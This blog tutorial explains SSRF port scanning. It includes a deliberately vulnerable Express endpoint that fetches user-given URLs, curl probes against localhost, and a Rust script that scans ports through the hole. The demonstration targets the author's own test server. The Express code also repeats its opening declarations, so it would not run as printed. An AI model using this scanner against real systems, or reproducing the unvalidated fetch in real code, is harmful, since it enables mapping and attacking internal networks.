SSRF stands for Server Side Request Forgery. It means a user can trick the server into making requests for us. We could then use the server as a proxy, or worse, access resources on the server’s internal network that are not meant to be publicly accessible. For example, we can initiate requests on the local network to find services running locally that aren’t accessible from the global internet. This is a great way to map a target’s internal network early in a penetration test. IT admins tend to put up less strong defenses for internal resources. Port scanning with SSRF is a great way to see these less-defended resources.
Thus, if SSRF gives us a window into the internal network, we can use that to find and exploit vulns that otherwise we’d have no access to!
Coding an app vulnerable to SSRF port scanning
For starters, let’s write some code for a simple server vulnerable to this kind of attack. We’ll make an API that allows users to set their profile picture by giving the API a URL from which to download the image.
const express = require('express');
const fs = require('fs');
const http = require('http');
const app = express()
const express = require('express');
const fs = require('fs');
const http = require('http');
const app = express()
const bodyParser = require('body-parser');
app.use(bodyParser.urlencoded({ extended: true }));
app.post('/api/profile_picture/external', (req, res) => {
const url = req.body.url;
const file = fs.createWriteStream("photo.tmp.jpg");
const request = http.get(`http://${url}`, function(response) {
if (response.statusCode == 200) {
response.pipe(file);
// after download completed close filestream
file.on("finish", () => {
file.close();
});
}
res.end(response.body);
});
request.on('error', err => {
res.end(JSON.stringify(err));
})
});
app.listen(3000, () => {
console.log(`Example app listening`)
})
Now we can successfully download an image like so:
$ curl -d 'url=i3.ytimg.com/vi/J---aiyznGQ/mqdefault.jpg' http://localhost:3000/api/profile_picture/external
$ ls -l
photo.tmp.jpg
Great! this server will download an image from any URL. What if we try a local address?
$ curl -d 'url=localhost/example.jpg' http://localhost:3000/api/profile_picture/external
{"errno":-61,"code":"ECONNREFUSED","syscall":"connect","address":"::1","port":80}
It tells us the exact error! In this case, we can see that there is nothing running on port 80 of the server because the connection was refused completely. Now let’s take a look to see what happens when we connect to a port that does have something running. In this case, my machine has a bunch of stuff running on random ports, as we can see with nmap:
$ nmap localhost
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-30 19:30 CST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000042s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE
25/tcp open smtp
587/tcp open submission
3000/tcp open ppp
5000/tcp open upnp
7000/tcp open afs3-fileserver
Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
Hmm, interesting, what if we try requesting an image from localhost on port 7000? Google says this is MacOS’s AirPlay server. Anyway, we want to see what kind of error we get…
curl -d 'url=localhost:7000/example.jpg' http://localhost:3000/api/profile_picture/external
404: undefined
Aha! If something is listening on the port, we get a different kind of error! So node we can just try a bunch of ports and if we don’t get a “connection refused” error, we can assume something is running on that port!
Exploiting SSRF port scanning with Rust
Now we can write a quick Rust script to do exactly that. I’ll use Rust’s Reqwest library to make the requests.
use std::error::Error;
fn main() -> Result<(), Box<dyn Error>> {
for i in 1..9001 {
let client = reqwest::blocking::Client::new();
let res = client.post("http://localhost:3000/api/profile_picture/external")
.form(&[("url", format!("localhost:{}/test.jpg", i))])
.send()?
.text()?;
if !&res.contains("ECONNREFUSED") {
println!("Port {}: {}", i, res);
}
}
Ok(())
}
Phew, not bad! Rust is often a very verbose language, but this is not too shabby! Let’s run it and see if we can detect the open ports with our SSRF exploit:
$ cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.09s
Running `target/debug/ssrf`
Port 25: Parse Error: Expected HTTP/
Port 587: Parse Error: Expected HTTP/
Port 3000: 404: undefined
Port 5000: 404: undefined
Port 7000: 404: undefined
This is fantastic! We found all the same ports that nmap detected! But in real life, we wouldn’t be able to do this with nmap, because we wouldn’t have access to the internal network. Thus, the SSRF exploit helps us have a mini nmap that lets us peer into the other side. We can even see what kind of response our request gets. We see, for example, that ports 3000, 5000, and 7000 are actually running HTTP servers of some kind. Hence the 404 error. Interesting!
A port scan would be invaluable info to have when conducting a pentest. For black hats planning an attack, it would be worth even more. That’s why bug bounties should reward SSRF vulns generously. Some bug bounty managers argue that SSRF is hard to exploit, or doesn’t do any real damage. Even worse, some hackers ignore this valuable tool when assessing the weaknesses in an app. SSRF port scanning is a brutal privacy invasion into an app’s internal network.
That’s what motivated this article! To show just one of the many severe exploits hackers can use when SSRF vulns aren’t patched.
Contributing to open source
Our code is fun for a toy project. And there’s nothing wrong with hobbyists learning and messing around. Though wouldn’t it be nicer to make life easier for the next hacker who comes around, wanting to do the same thing? Sure it would!
We can make that happen by turning our script into a library. Then, when other pentesters want to run this code, they can simply install our library and go for it! All we have to do is use Cargo to publish the crate. Here’s what it looks like on the crates.io webpage:
Isn’t it lovely? I hope that in addition to learning about SSRF, you also learn the value of publishing your code in a way that’s easy to access for other people. Plus, it’s great for your resume or to bring up during interviews. Open source makes you look passionate about your skills! And it isn’t even hard to do.
Changing the code to work as a package just meant I had to generalize some of the features. To be specific, a lot of hardcoded values needed to work differently. Now, the user will configure these values using command line arguments. I chose Rust because I want it to be quick, but really, the network IO is what takes up most of the runtime. So feel free to write your script in Python, Ruby, or even Bash. Whatever gets the job done easiest for you. There’s no shame in using high level languages even for serious software, so have fun with it.
Summary
SSRF allows hackers to make requests from the server. This can be exploited to make requests to services listening on the internal network, which aren’t meant to be accessible from the global internet. Among the myriad of ways this can be exploited, one clever trick is to see what ports give a response. We wrote a script to do exactly that using Rust, and ultimately publish the code as an open source library using Rust’s crates ecosystem.
There’s a tradeoff between how easy the app is to configure and how easy it is to use. But at the end of the day, once you know this exploit well, it’s only a few minutes of shell scripting to get working. The library may help newbies, but I hope you feel armed with the required knowledge to exploit this all by yourself. Good luck out there, and leave a comment if you end up writing your own code!
I hope this was fun and educational for you to read. As a hacker who loves to code, I certainly enjoyed writing this. See you next time, and happy hacking!
Leave a Reply